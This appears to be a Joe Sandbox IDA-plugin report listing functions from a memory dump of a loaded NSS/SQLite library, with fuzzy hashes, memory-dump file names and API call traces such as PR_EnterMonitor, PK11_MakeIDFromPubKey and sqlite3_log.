Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSectionfree$DeleteEnterFreeItem_K11_UnlockUtilValueZfree
String ID:
API String ID: 1720798025-0
Opcode ID: 395bcc6dfda0238a1c5b62fc2acbd16cccad597adcd5ea1baec9598d07f6260e
Instruction ID: 8d795a9908144ea95030c7d7df076d2ee5efd470979185aa1a520f237f7481b2
Opcode Fuzzy Hash: 395bcc6dfda0238a1c5b62fc2acbd16cccad597adcd5ea1baec9598d07f6260e
Instruction Fuzzy Hash: 0211A3B2B01115BBDF10AFA5ED45A9A77BCBB043597104531F90A87E01E732E424C7E5

Function 6C6E2CC0 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6C6E5B40: PR_GetIdentitiesLayer.NSS3 ref: 6C6E5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6E2CEC

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

PR_EnterMonitor.NSS3(?), ref: 6C6E2D02
PR_EnterMonitor.NSS3(?), ref: 6C6E2D1F
PR_ExitMonitor.NSS3(?), ref: 6C6E2D42
PR_ExitMonitor.NSS3(?), ref: 6C6E2D5B

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction ID: 1318f6d3e3578dfac2ea355121da45e0d49ce3060982b1756f2fac1cc2e6c162
Opcode Fuzzy Hash: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction Fuzzy Hash: 9A01C8B19192015FE7309F26FC48BC7B7E2EF59318F044526E95D87B10E632F8168796

Function 6C6E2D70 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6C6E5B40: PR_GetIdentitiesLayer.NSS3 ref: 6C6E5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6E2D9C

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

PR_EnterMonitor.NSS3(?), ref: 6C6E2DB2
PR_EnterMonitor.NSS3(?), ref: 6C6E2DCF
PR_ExitMonitor.NSS3(?), ref: 6C6E2DF2
PR_ExitMonitor.NSS3(?), ref: 6C6E2E0B

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction ID: 8cd1fd0e9f7aa794f7f02872431bdcf938dcf16bc214214ea6d5fc4e4a5f400c
Opcode Fuzzy Hash: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction Fuzzy Hash: 9601C8B19092015FE7309F25FC09BC7B7A2EF55318F040536E95D87B10D632F81A8696

Function 6C67AE30 Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 6C663090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C67AE42), ref: 6C6630AA
Part of subcall function 6C663090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6630C7
Part of subcall function 6C663090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C6630E5
Part of subcall function 6C663090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C663116
Part of subcall function 6C663090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C66312B
Part of subcall function 6C663090: PK11_DestroyObject.NSS3(?,?), ref: 6C663154
Part of subcall function 6C663090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C66317E

SECKEY_DestroyPublicKey.NSS3(00000000,?,00000000,?,6C6599FF,?,?,?,?,?,?,?,?,?,6C652D6B,?), ref: 6C67AE67
SECITEM_DupItem_Util.NSS3(-00000014,?,00000000,?,6C6599FF,?,?,?,?,?,?,?,?,?,6C652D6B,?), ref: 6C67AE7E
SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,6C652D6B,?,?,00000000), ref: 6C67AE89
PK11_MakeIDFromPubKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,6C652D6B,?,?,00000000), ref: 6C67AE96
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,6C652D6B,?,?), ref: 6C67AEA3

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$DestroyItem_$Arena_K11_Public$AlgorithmAlloc_ArenaCopyFreeFromMakeObjectTag_Zfreememset
String ID:
API String ID: 754562246-0
Opcode ID: 231267e74e44f7f89e0b1ec98a7d7b6f1f3836cdd63fc5fe74163871bfb4f554
Instruction ID: b0f0a6d6507ce0822123b77666430595a45d13287f37c90f980e570015f0b0e7
Opcode Fuzzy Hash: 231267e74e44f7f89e0b1ec98a7d7b6f1f3836cdd63fc5fe74163871bfb4f554
Instruction Fuzzy Hash: 3801D163B0401057E721916CAC81AEB31A98B8765CB081832E905D7B03F612DD0A53BF

Function 6C76BDB0 Relevance: 7.6, APIs: 5, Instructions: 51COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,6C767AFE,?,?,?,?,?,?,?,?,6C76798A), ref: 6C76BDC3
free.MOZGLUE(?,?,6C767AFE,?,?,?,?,?,?,?,?,6C76798A), ref: 6C76BDCA
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C767AFE,?,?,?,?,?,?,?,?,6C76798A), ref: 6C76BDE9
free.MOZGLUE(?,00000000,00000000,?,6C767AFE,?,?,?,?,?,?,?,?,6C76798A), ref: 6C76BE21
free.MOZGLUE(00000000,00000000,?,6C767AFE,?,?,?,?,?,?,?,?,6C76798A), ref: 6C76BE32

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$CriticalDeleteDestroyMonitorSection
String ID:
API String ID: 3662805584-0
Opcode ID: 43b05599a3c1ef563b83f3af3a06bcb398519d3c1721ccb39cadfe9b728cb1fc
Instruction ID: b6e7f34cc01f88f351e89264c6e337c8fbfc3b7859e664e9f1e51378a43c23b4
Opcode Fuzzy Hash: 43b05599a3c1ef563b83f3af3a06bcb398519d3c1721ccb39cadfe9b728cb1fc
Instruction Fuzzy Hash: 2A1103B5B062009FDF40DFA9D94DF063BB9FB4B355B540479E90A8B710E732A414CBA9

Function 6C767C60 Relevance: 7.5, APIs: 5, Instructions: 40stringthreadCOMMON

Download Yara Rule

APIs

PR_Free.NSS3(?), ref: 6C767C73
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C767C83
malloc.MOZGLUE(00000001), ref: 6C767C8D
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C767C9F
PR_GetCurrentThread.NSS3 ref: 6C767CAD

Part of subcall function 6C719BF0: TlsGetValue.KERNEL32(?,?,?,6C760A75), ref: 6C719C07

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CurrentFreeThreadValuemallocstrcpystrlen
String ID:
API String ID: 105370314-0
Opcode ID: a83f792f8058ba336577480eafa75aceb228ffa350e434f95768ee21d9b9b296
Instruction ID: 55013d471de04fbbf3c3cc5b27fd1429d8b156b3f47d55ddf02db3cde86ef1b8
Opcode Fuzzy Hash: a83f792f8058ba336577480eafa75aceb228ffa350e434f95768ee21d9b9b296
Instruction Fuzzy Hash: A5F0A9B19202066BEB009F7BAE0D95B7B5CEF003A9B118436EC09C7F00EB31E1148AE5

Function 6C76ADF0 Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(6C76A6D8), ref: 6C76AE0D
free.MOZGLUE(?), ref: 6C76AE14
DeleteCriticalSection.KERNEL32(6C76A6D8), ref: 6C76AE36
free.MOZGLUE(?), ref: 6C76AE3D
free.MOZGLUE(00000000,00000000,?,?,6C76A6D8), ref: 6C76AE47

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: 243c92dab784e6befa0d547a871002f5b3916953c033f895308ce214ee234fb1
Instruction ID: 983031f6d4509241d45d1f960aa9bd84e9e3b11a0944075347a97426d1cb2ee9
Opcode Fuzzy Hash: 243c92dab784e6befa0d547a871002f5b3916953c033f895308ce214ee234fb1
Instruction Fuzzy Hash: FAF06275201A01A7CB109FE9A909A5BB7BCBE86776B14033DF52A83940D733E115C7D5

Function 6C5EBCD0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

sqlite3_mprintf.NSS3(6C78AAF9,?), ref: 6C5EBE37

Strings

Pvl, xrefs: 6C5EBED4
winFileSize, xrefs: 6C5EBF07
vl, xrefs: 6C5EBDD7

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_mprintf
String ID: vl$Pvl$winFileSize
API String ID: 4246442610-3168198568
Opcode ID: c1f3bc3ee6e21af8016f503c08e3520dd2f5dbe2bf6622b929b924bb4b07cbb3
Instruction ID: 4303061a4f6f9530fd95a8c6fae09a8e2390a215f0e5ae3d3284b0bfec010f18
Opcode Fuzzy Hash: c1f3bc3ee6e21af8016f503c08e3520dd2f5dbe2bf6622b929b924bb4b07cbb3
Instruction Fuzzy Hash: 7B61DF31A00709EFCB04DF68CA90BA9B7B2FF4E315B148AA5D8158BB40D730E915CBD9

Function 6C5F7C40 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 100COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A0D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5F7D35

Strings

database corruption, xrefs: 6C5F7D29
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5F7D13, 6C5F7D1F, 6C5F7D47, 6C5F7D53, 6C5F7D5F
%s at line %d of [%.10s], xrefs: 6C5F7D2E

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 68d79777ebd6a47b3522be0979960b9e4793b1a31125216d18f31d617598ca92
Instruction ID: 9692598d2856882204f7f34f80f52ace2fd9cb4a47b7b98f9c376a209d15bcad
Opcode Fuzzy Hash: 68d79777ebd6a47b3522be0979960b9e4793b1a31125216d18f31d617598ca92
Instruction Fuzzy Hash: 11312431E0422997C714CF9ECC809BEB7F2AF88349B9905A6E454B7B81D270D942CBB4

Function 6C5E6C90 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000134E5,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?), ref: 6C5E6D36

Strings

database corruption, xrefs: 6C5E6D2A
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5E6D20
%s at line %d of [%.10s], xrefs: 6C5E6D2F

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: c0aa487ee763cd2bd640883830c0855e87095a1cb2144af31a345720d6865043
Instruction ID: 01f5a6f30449fb530ca37fed9af45b4eb1f5c6752c8e452fea636bfcae6c1a73
Opcode Fuzzy Hash: c0aa487ee763cd2bd640883830c0855e87095a1cb2144af31a345720d6865043
Instruction Fuzzy Hash: 392102306003089BC710CE19DE41B5AB7F2AF89358F944928D9499BF51EB70F9448792

Function 6C6C2FD0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,-000000D4,00000000,?,<+ll,6C6C32C2,<+ll,00000000,00000000,?), ref: 6C6C2FDA

Part of subcall function 6C6B14C0: TlsGetValue.KERNEL32 ref: 6C6B14E0
Part of subcall function 6C6B14C0: EnterCriticalSection.KERNEL32 ref: 6C6B14F5
Part of subcall function 6C6B14C0: PR_Unlock.NSS3 ref: 6C6B150D

PORT_ArenaAlloc_Util.NSS3(?,-00000007), ref: 6C6C300B

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

SECOID_FindOIDByTag_Util.NSS3(00000010), ref: 6C6C302A

Part of subcall function 6C6B0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B08B4

Part of subcall function 6C69C3D0: PK11_ImportPublicKey.NSS3(?,?,00000000), ref: 6C69C45D
Part of subcall function 6C69C3D0: TlsGetValue.KERNEL32 ref: 6C69C494
Part of subcall function 6C69C3D0: EnterCriticalSection.KERNEL32(?), ref: 6C69C4A9
Part of subcall function 6C69C3D0: PR_Unlock.NSS3(?), ref: 6C69C4F4

Strings

<+ll, xrefs: 6C6C2FD0

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Value$ArenaCriticalEnterSectionUnlockUtil$Alloc_AllocateErrorFindImportK11_Mark_PublicTag_
String ID: <+ll
API String ID: 2538134263-585971932
Opcode ID: 595581cd8a3e58213a728435827faa4a7978b5385ddb469e9c4028bda8901334
Instruction ID: 08c3ec7488ff4fcb7fbc5c9e0b2511f31f88e835bcccc32bdd6f841ed9e3f57d
Opcode Fuzzy Hash: 595581cd8a3e58213a728435827faa4a7978b5385ddb469e9c4028bda8901334
Instruction Fuzzy Hash: 341191B7B001087BDB008E65AC01ADB7799AB85668F184134E91CD7781E772E915CBAA

Function 6C71CC70 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6C71CD70: PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6C71CC7B), ref: 6C71CD7A
Part of subcall function 6C71CD70: PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C71CD8E
Part of subcall function 6C71CD70: PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C71CDA5
Part of subcall function 6C71CD70: PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C71CDB8

PR_GetUniqueIdentity.NSS3(Ipv6_to_Ipv4 layer), ref: 6C71CCB5
memcpy.VCRUNTIME140(6C7B14F4,6C7B02AC,00000090), ref: 6C71CCD3
memcpy.VCRUNTIME140(6C7B1588,6C7B02AC,00000090), ref: 6C71CD2B

Part of subcall function 6C639AC0: socket.WSOCK32(?,00000017,6C6399BE), ref: 6C639AE6
Part of subcall function 6C639AC0: ioctlsocket.WSOCK32(00000000,8004667E,00000001,?,00000017,6C6399BE), ref: 6C639AFC

Part of subcall function 6C640590: closesocket.WSOCK32(6C639A8F,?,?,6C639A8F,00000000), ref: 6C640597

Strings

Ipv6_to_Ipv4 layer, xrefs: 6C71CCB0

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: FindSymbol$memcpy$IdentityLibraryLoadUniqueclosesocketioctlsocketsocket
String ID: Ipv6_to_Ipv4 layer
API String ID: 1231378898-412307543
Opcode ID: a64268c6135f0c131e18d250f6f1086ecceb39cf6f76b21ed6f6a589318c86b1
Instruction ID: 419e6e5ce73e2ad56d374f49fec9405ca730182d024fe314feaa993c9f763504
Opcode Fuzzy Hash: a64268c6135f0c131e18d250f6f1086ecceb39cf6f76b21ed6f6a589318c86b1
Instruction Fuzzy Hash: D01181F2B042405FDB409F6A8F0BF827AA89B46358F145439E91ADBF41E771D4088BED

Function 6C5E7F90 Relevance: 6.2, APIs: 4, Instructions: 223COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C5E81DF
LeaveCriticalSection.KERNEL32(?), ref: 6C5E8239
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C5E8255
sqlite3_free.NSS3(00000000), ref: 6C5E8260

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememcpysqlite3_free
String ID:
API String ID: 1525636458-0
Opcode ID: 0ad41ba2e9f646be88ca0021ec56144785fe2b08733e8b3a33787485abacdc33
Instruction ID: 991f117061fa5bcddf6c766490e48e03eb6067624f3d085b5179728fab7c4b82
Opcode Fuzzy Hash: 0ad41ba2e9f646be88ca0021ec56144785fe2b08733e8b3a33787485abacdc33
Instruction Fuzzy Hash: E0916E71A01608DFEB08DFE9EC58BADB7B1BF0A304F24013AD4169BA50DB356955CB82

Function 6C6C1D60 Relevance: 6.1, APIs: 4, Instructions: 141memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C6C1D8F

Part of subcall function 6C6B14C0: TlsGetValue.KERNEL32 ref: 6C6B14E0
Part of subcall function 6C6B14C0: EnterCriticalSection.KERNEL32 ref: 6C6B14F5
Part of subcall function 6C6B14C0: PR_Unlock.NSS3 ref: 6C6B150D

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C6C1DA6

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C6C1E13
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C6C1ED0

Memory Dump Source

